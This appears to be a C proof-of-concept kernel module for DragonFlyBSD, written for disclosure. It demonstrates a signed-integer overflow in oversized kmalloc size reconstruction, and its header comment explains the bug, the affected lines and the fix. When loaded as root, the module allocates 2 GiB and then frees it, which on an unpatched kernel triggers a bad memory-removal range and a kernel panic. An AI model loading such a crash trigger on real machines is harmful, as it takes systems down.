/*
 * DF-0021 PoC - signed-int overflow in oversized kmalloc size reconstruction.
 *
 * btokup() returns int* (pointing to vm_page->ku_pagecnt, an int). The
 * oversized-allocation size is reconstructed in three places as
 *     *kup << PAGE_SHIFT        // kern_slaballoc.c:1202, 1432, 1261
 * Both operands are int, so the shift is computed as a 32-bit SIGNED int and
 * overflows for any oversized allocation whose pagecount *kup >= 2^19, i.e.
 * any kmalloc() >= 2 GiB. The wrapped value then drives krealloc's bcopy
 * length, _kfree's kmem_slab_free/vm_map_remove range, and
 * kmalloc_usable_size's return value -> OOB read / bad kmem removal range /
 * wrong usable-size accounting.
 *
 * This is a LATENT bug: no unprivileged kernel interface is known to issue a
 * >= 2 GiB kmalloc (most large-buffer paths use kmem_alloc/contigmalloc). On
 * x86_64 pc64 the per-type ks_limit (kmem_lim_size/10 MB) permits one such
 * allocation per type, so any future / unaudited caller that requests >= 2 GiB
 * via kmalloc activates it. This module demonstrates the corruption directly
 * (requires root to kldload, and a machine with >= ~2 GiB free KVA).
 *
 * Build (DragonFlyBSD):  make    # uses bsd.kmod.mk
 * Load (as root):        kldload ./poc_shift.ko
 *
 * Expected (bug present):
 *   Phase 1: kmalloc_usable_size returns 0xFFFFFFFF80000000 instead of
 *            0x80000000 (the line-1261 overflow). Printed for confirmation.
 *   Phase 2: kfree() hits the line-1432 overflow; size wraps to
 *            0xFFFFFFFF80000000; kmem_slab_free -> vm_map_remove with a
 *            bogus wrapped range -> kernel panic.
 *
 * On a FIXED kernel ((size_t)*kup << PAGE_SHIFT): usable_size returns
 * 0x80000000 correctly, kfree works, module loads and unloads cleanly.
 */

#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/systm.h>

MALLOC_DEFINE(M_POC, "poc_shift", "DF-0021 PoC");

/* 2 GiB -- minimum oversized alloc that triggers the signed-shift overflow:
 * *kup = 0x80000, 0x80000 << 12 = 0x80000000 = INT_MIN (signed overflow). */
#define ALLOC_SIZE (2UL << 30)

static int
poc_modev(module_t m, int what, void *arg)
{
	void *p;
	size_t usable;

	switch (what) {
	case MOD_LOAD:
		kprintf("poc: allocating %lu bytes (2 GiB, oversized)\n",
			(unsigned long)ALLOC_SIZE);
		p = kmalloc(ALLOC_SIZE, M_POC, M_WAITOK);
		if (p == NULL) {
			kprintf("poc: kmalloc failed (need KVA/RAM)\n");
			break;
		}
		kprintf("poc: got 2 GiB @ %p\n", p);

		/* Phase 1: kmalloc_usable_size — exercises line 1261 overflow.
		 * On the buggy kernel this returns the sign-extended wrapped
		 * value 0xFFFFFFFF80000000 instead of the true 0x80000000. */
		usable = kmalloc_usable_size(p);
		kprintf("poc: kmalloc_usable_size = 0x%016lx (expect 0x%016lx if OK)\n",
			usable, (unsigned long)ALLOC_SIZE);
		if (usable != ALLOC_SIZE)
			kprintf("poc: BUG CONFIRMED (line 1261): usable_size overflowed!\n");

		/* Phase 2: kfree — exercises line 1432 overflow.
		 * _kfree computes size = *kup << PAGE_SHIFT (wraps to
		 * 0xFFFFFFFF80000000), then calls kmem_slab_free(ptr, size)
		 * -> vm_map_remove(kernel_map, ptr, ptr+size) with a bogus
		 * wrapped range. On a buggy kernel this panics; on a fixed
		 * kernel it returns cleanly. */
		kprintf("poc: now kfree — on buggy kernel expect panic here\n");
		kfree(p, M_POC);
		kprintf("poc: kfree returned OK (fixed kernel)\n");
		break;
	case MOD_UNLOAD:
		break;
	default:
		break;
	}
	return 0;
}

static moduledata_t poc_mod = { "poc_shift", poc_modev, 0 };
DECLARE_MODULE(poc_shift, poc_mod, SI_SUB_CONFIGURE, SI_ORDER_MIDDLE);
MODULE_VERSION(poc_shift, 1);
